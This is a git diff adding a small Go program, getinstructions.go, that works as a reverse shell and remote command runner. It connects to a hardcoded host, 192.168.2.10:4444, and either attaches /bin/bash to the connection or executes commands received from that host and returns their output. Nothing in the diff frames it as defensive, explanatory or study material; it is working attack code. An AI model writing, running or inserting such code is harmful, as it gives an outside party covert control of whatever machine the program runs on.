primer commit

getinstructions.go

@@ -0,0 +1,62 @@
+package main 
+import (
+	"net"
+	"os/exec"
+	"strings"
+)
+
+type ReverseAddr struct {
+	reverAddr string 
+}
+
+func CreateAddr() *ReverseAddr {
+	return &ReverseAddr {
+		reverAddr: "192.168.2.10:4444",
+	}
+}
+
+
+func (ra ReverseAddr) CreateRever() {
+	conn, err := net.Dial("tcp", ra.reverAddr)
+	if err != nil {
+		return 
+	}
+	cmd := exec.Command("/bin/bash")
+	cmd.Stdin = conn
+	cmd.Stdout = conn 
+	cmd.Stderr = conn 
+	cmd.Run()
+}
+
+func (ra ReverseAddr) GetInstructions() {
+	conn, err := net.Dial("tcp", ra.reverAddr)
+	if err != nil {
+		return
+	}
+	buf := make([]byte,1024)
+	n, err := conn.Read(buf)
+	if err != nil {
+		return 
+	}
+	data := string(buf[:n])
+	mensaje := strings.TrimSpace(data)
+	partes := strings.Split(mensaje," ")
+	comando := partes[0]
+	argumentos := partes[1:]
+	cmd := exec.Command(comando, argumentos...)
+	output, err := cmd.Output()
+	if err != nil {
+		return 
+	}
+	_, err = conn.Write(output)
+	if err != nil {
+		return
+	}
+	conn.Close()
+}
+
+
+func main() {
+	myaddr := CreateAddr()
+	myaddr.GetInstructions()
+}